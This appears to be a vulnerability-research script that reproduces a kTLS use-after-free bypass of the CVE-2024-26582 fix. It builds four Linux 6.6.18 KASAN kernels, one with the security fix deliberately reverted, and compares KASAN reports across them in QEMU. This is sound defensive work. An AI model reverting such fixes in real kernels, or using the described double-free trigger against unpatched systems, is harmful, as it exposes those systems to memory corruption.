#!/bin/bash
set -euo pipefail

# CVE-2024-26582 VARIANT: failed-backlog-decryption use-after-free (commit 13114dc)
#
# Bypass of the CVE-2024-26582 fix commit 32b55c5 (free_sgout) on the FIXED
# kernel v6.6.18. The async-decrypt UAF class is only partially fixed: 32b55c5
# corrects the page-free heuristic in tls_decrypt_done() for the normal async
# (-EINPROGRESS) + partial-read path, but NOT the crypto-backlog (-EBUSY) error
# path. When an async decrypt is backlogged and a pending async decrypt fails
# (-EBADMSG, e.g. an attacker-controlled malformed/mismatched record),
# tls_decrypt_done() already frees the pages + kfree()s the aead_req/dctx block
# during the backlog wait; tls_decrypt_sg()'s exit_free_pages/exit_free then
# frees the same memory again => slab-use-after-free / double-free. Fixed
# upstream by 13114dc5543069f7b97991e3b79937b6da05f5b0 (async_done), ABSENT in
# v6.6.18.
#
# Side-by-side kernels (all v6.6.18 + async-forcing crypto/simd.c patch):
#   V vuln+ebusy       : 32b55c5 REVERTED + ebusy_force  -> KASAN UAF (variant on vuln)
#   F fixed(no ebusy)  : 32b55c5 present, no backlog forcing -> no UAF (baseline)
#   B fixed+ebusy      : 32b55c5 present + ebusy_force  -> KASAN UAF (BYPASS on fixed)
#   G fixed+ebusy+13114: + adapted 13114dc (async_done)  -> no UAF (gap closed by 13114dc)
#
# Exit 0 = bypass reproduced on the FIXED kernel (variant confirmed).
# Exit 1 = no bypass reproduced (script still ran fully).

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VARIANT_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
mkdir -p "$LOGS"
cd "$ROOT"

: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

echo "=== CVE-2024-26582 backlog-decrypt UAF variant (bypass of 32b55c5) ==="

# ---- locate project cache ----
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(python3 -c "import json;print(json.load(open('$ROOT/project_cache_context.json')).get('project_cache_dir',''))" 2>/dev/null || true)
fi
if [ -z "$CACHE_DIR" ]; then CACHE_DIR="$ROOT/artifacts/linux-ktls"; mkdir -p "$CACHE_DIR"; fi
echo "[variant] cache dir: $CACHE_DIR"

KSRC="$CACHE_DIR/linux-6.6.18"
VULN_EBUSY_BZ="$CACHE_DIR/bzImage-ktls-vuln-ebusy"            # 32b55c5 reverted + ebusy
FIXED_BZ="$CACHE_DIR/bzImage-ktls-fixed-final"                 # 32b55c5 only (from repro)
EBUSY_BZ="$CACHE_DIR/bzImage-ktls-fixed-ebusy"                 # 32b55c5 + ebusy_force
FIX13114_BZ="$CACHE_DIR/bzImage-ktls-fixed-ebusy-13114dc"      # + 13114dc
INITRAMFS="$CACHE_DIR/initramfs-ktls-variant.cpio.gz"
KTLS_FIX_PATCH="$VARIANT_DIR/ktls_32b55c5.patch"               # embedded below

# Embed the 32b55c5 fix patch (forward) so the vuln build can revert it.
cat > "$KTLS_FIX_PATCH" <<'PATCH'
From 32b55c5ff9103b8508c1e04bfa5a08c64e7a925f Mon Sep 17 00:00:00 2001
Subject: net: tls: fix use-after-free with partial reads and async decrypt

--- a/net/tls/tls_sw.c
+++ b/net/tls/tls_sw.c
@@ -63,6 +63,7 @@ struct tls_decrypt_ctx {
 	u8 iv[TLS_MAX_IV_SIZE];
 	u8 aad[TLS_MAX_AAD_SIZE];
 	u8 tail;
+	bool free_sgout;
 	struct scatterlist sg[];
 };
@@ -187,7 +188,6 @@ static void tls_decrypt_done(void *data, int err)
 	struct aead_request *aead_req = data;
 	struct crypto_aead *aead = crypto_aead_reqtfm(aead_req);
 	struct scatterlist *sgout = aead_req->dst;
-	struct scatterlist *sgin = aead_req->src;
 	struct tls_sw_context_rx *ctx;
 	struct tls_decrypt_ctx *dctx;
 	struct tls_context *tls_ctx;
@@ -224,7 +224,7 @@ static void tls_decrypt_done(void *data, int err)
 	}

 	/* Free the destination pages if skb was not decrypted inplace */
-	if (sgout != sgin) {
+	if (dctx->free_sgout) {
 		/* Skip the first S/G entry as it points to AAD */
 		for_each_sg(sg_next(sgout), sg, UINT_MAX, pages) {
 			if (!sg)
@@ -1583,6 +1583,7 @@ static int tls_decrypt_sg(struct sock *sk, struct iov_iter *out_iov,
 	} else if (out_sg) {
 		memcpy(sgout, out_sg, n_sgout * sizeof(*sgout));
 	}
+	dctx->free_sgout = !!pages;

 	/* Prepare and submit AEAD request */
 	err = tls_do_decryption(sk, sgin, sgout, dctx->iv,
PATCH

need_deps() {
    command -v gcc >/dev/null && command -v qemu-system-x86_64 >/dev/null && \
    command -v cpio >/dev/null && command -v gzip >/dev/null && return 0
    echo "[variant] installing deps..."
    sudo apt-get update -qq 2>/dev/null || true
    sudo apt-get install -y -qq flex bison libelf-dev libssl-dev bc qemu-system-x86 cpio gcc 2>&1 | tail -3 || true
}

prepare_source() {
    if [ ! -d "$KSRC" ]; then
        echo "[variant] downloading linux-6.6.18..."
        curl -sL -o "$CACHE_DIR/linux-6.6.18.tar.xz" "https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.6.18.tar.xz"
        tar xf "$CACHE_DIR/linux-6.6.18.tar.xz" -C "$CACHE_DIR"
    fi
    cd "$KSRC"
    grep -q 'REALMODE_CFLAGS\t:= -std=gnu11 -m16' arch/x86/Makefile 2>/dev/null || \
        sed -i 's/REALMODE_CFLAGS\t:= -m16/REALMODE_CFLAGS\t:= -std=gnu11 -m16/' arch/x86/Makefile
    sed -i 's/KBUILD_CFLAGS := -m$(BITS) -O2/KBUILD_CFLAGS := -std=gnu11 -m$(BITS) -O2/' arch/x86/boot/compressed/Makefile 2>/dev/null || true
    sed -i 's/cflags-$(CONFIG_X86)\t\t+= -m$(BITS) -D__KERNEL__/cflags-$(CONFIG_X86)\t\t+= -m$(BITS) -D__KERNEL__ -std=gnu11/' drivers/firmware/efi/libstub/Makefile 2>/dev/null || true
    grep -q 'if (1 || !crypto_simd_usable' crypto/simd.c || \
        sed -i '341s/if (!crypto_simd_usable/if (1 || !crypto_simd_usable/' crypto/simd.c
    if [ ! -f "$KSRC/.config" ]; then
        echo "[variant] creating kernel config (KASAN + TLS + cryptd)..."
        make defconfig 2>&1 | tail -2
        ./scripts/config --enable CONFIG_TLS --enable CONFIG_KASAN --enable CONFIG_KASAN_GENERIC \
            --enable CONFIG_KASAN_INLINE --enable CONFIG_KASAN_STACK --enable CONFIG_KASAN_VMALLOC \
            --enable CONFIG_CRYPTO_CRYPTD --enable CONFIG_CRYPTO_SIMD --enable CONFIG_CRYPTO_GCM \
            --enable CONFIG_CRYPTO_AES --enable CONFIG_CRYPTO_GHASH --enable CONFIG_CRYPTO_CTR \
            --enable CONFIG_CRYPTO_SEQIV --enable CONFIG_CRYPTO_AEAD --enable CONFIG_CRYPTO_AES_NI_INTEL \
            --enable CONFIG_SERIAL_8250 --enable CONFIG_SERIAL_8250_CONSOLE --enable CONFIG_BLK_DEV_INITRD \
            --enable CONFIG_PROC_FS --enable CONFIG_SYSFS --enable CONFIG_TMPFS --enable CONFIG_DEVTMPFS \
            --enable CONFIG_DEVTMPFS_MOUNT --enable CONFIG_PAGE_POISONING --disable CONFIG_HIBERNATION
        make olddefconfig 2>&1 | tail -2
    fi
    cd "$ROOT"
}

# Build a kernel variant by writing tls_sw.c to the desired state, building, then
# restoring the pristine source (32b55c5/free_sgout present in .orig).
build_variant() {
    local bzout="$1" mode="$2"
    if [ -f "$bzout" ]; then echo "[variant] $mode kernel cached: $bzout"; return 0; fi
    echo "[variant] building $mode kernel -> $bzout"
    cd "$KSRC"
    cp net/tls/tls_sw.c.orig net/tls/tls_sw.c 2>/dev/null || cp net/tls/tls_sw.c net/tls/tls_sw.c.orig
    case "$mode" in
        fixed)      cp net/tls/tls_sw.c.orig net/tls/tls_sw.c ;;
        ebusy)      patch -p1 < "$VARIANT_DIR/ebusy_force.patch" 2>&1 | tail -2 || true ;;
        ebusy13114) python3 "$VARIANT_DIR/apply_fix13114dc.py" ;;
        vulnebusy)
            patch -R -p1 < "$KTLS_FIX_PATCH" 2>&1 | tail -2 || true   # revert 32b55c5 -> vuln
            patch -p1 < "$VARIANT_DIR/ebusy_force.patch" 2>&1 | tail -2 || true
            ;;
    esac
    make -j"$(nproc)" bzImage 2>&1 | tail -3
    cp arch/x86/boot/bzImage "$bzout"
    cp net/tls/tls_sw.c.orig net/tls/tls_sw.c   # restore pristine
    cd "$ROOT"
}

build_initramfs() {
    if [ -f "$INITRAMFS" ]; then echo "[variant] variant initramfs cached"; return 0; fi
    echo "[variant] building variant initramfs..."
    gcc -static -O2 -o "$CACHE_DIR/backlog_variant_init" "$VARIANT_DIR/backlog_variant_test.c" -Wall -Wextra
    rm -rf "$CACHE_DIR/initramfs-ktls-variant"; mkdir -p "$CACHE_DIR/initramfs-ktls-variant"/{dev,proc,sys,bin,tmp}
    cp "$CACHE_DIR/backlog_variant_init" "$CACHE_DIR/initramfs-ktls-variant/init"
    chmod +x "$CACHE_DIR/initramfs-ktls-variant/init"
    ( cd "$CACHE_DIR/initramfs-ktls-variant" && find . -print0 | cpio --null -H newc -o 2>/dev/null | gzip -9 > "$INITRAMFS" )
    cd "$ROOT"
}

run_qemu() {
    local kernel="$1" logfile="$2"
    echo "[variant] QEMU: $kernel"
    timeout 160 qemu-system-x86_64 -cpu max -smp 2 -m 1024 -kernel "$kernel" \
        -initrd "$INITRAMFS" -append "console=ttyS0 panic=-1 page_poison=1" \
        -nographic -no-reboot 2>&1 | tee "$logfile" >/dev/null
}
count_kasan() { grep -c "BUG: KASAN" "$1" 2>/dev/null || true; }

# ---- main ----
need_deps
prepare_source
build_variant "$VULN_EBUSY_BZ" vulnebusy
build_variant "$FIXED_BZ"       fixed
build_variant "$EBUSY_BZ"       ebusy
build_variant "$FIX13114_BZ"    ebusy13114
build_initramfs

VULN_LOG="$LOGS/qemu-vuln-ebusy-variant.log"
BASE_LOG="$LOGS/qemu-fixed-nobacklog-baseline.log"
EBUSY_LOG="$LOGS/qemu-fixed-ebusy-variant.log"
FIX_LOG="$LOGS/qemu-fixed-ebusy-13114dc.log"

# Vulnerable version first, then fixed versions side by side.
run_qemu "$VULN_EBUSY_BZ" "$VULN_LOG"
run_qemu "$FIXED_BZ"       "$BASE_LOG"
run_qemu "$EBUSY_BZ"       "$EBUSY_LOG"
run_qemu "$FIX13114_BZ"    "$FIX_LOG"

VULN_KASAN=$(count_kasan "$VULN_LOG")
BASE_KASAN=$(count_kasan "$BASE_LOG")
EBUSY_KASAN=$(count_kasan "$EBUSY_LOG")
FIX_KASAN=$(count_kasan "$FIX_LOG")

echo "[variant] RESULTS:"
echo "[variant]   vuln(32b55c5 reverted)+ebusy    KASAN=$VULN_KASAN  (variant on vulnerable)"
echo "[variant]   fixed(32b55c5) no backlog       KASAN=$BASE_KASAN  (baseline)"
echo "[variant]   fixed(32b55c5)+ebusy            KASAN=$EBUSY_KASAN  (BYPASS on fixed)"
echo "[variant]   fixed(32b55c5)+ebusy+13114dc    KASAN=$FIX_KASAN  (gap closed)"

# Bypass confirmed iff: fixed+ebusy reproduces UAF, baseline does not, and adding
# 13114dc closes it. The vuln+ebusy result is corroborating (expected > 0).
if [ "$EBUSY_KASAN" -gt 0 ] && [ "$BASE_KASAN" -eq 0 ] && [ "$FIX_KASAN" -eq 0 ]; then
    echo "[variant] CONFIRMED BYPASS: 32b55c5 (free_sgout) is insufficient under crypto"
    echo "[variant]   backlog congestion; the failed-backlog-decryption UAF (13114dc) is"
    echo "[variant]   triggered on the FIXED v6.6.18 kernel and closed by 13114dc."
    echo "[variant]   (vuln+ebusy KASAN=$VULN_KASAN corroborates the variant on the vulnerable tree.)"
    echo "BYPASS_CONFIRMED"
    exit 0
else
    echo "[variant] bypass not reproduced under this run's conditions"
    echo "BYPASS_NOT_CONFIRMED"
    exit 1
fi
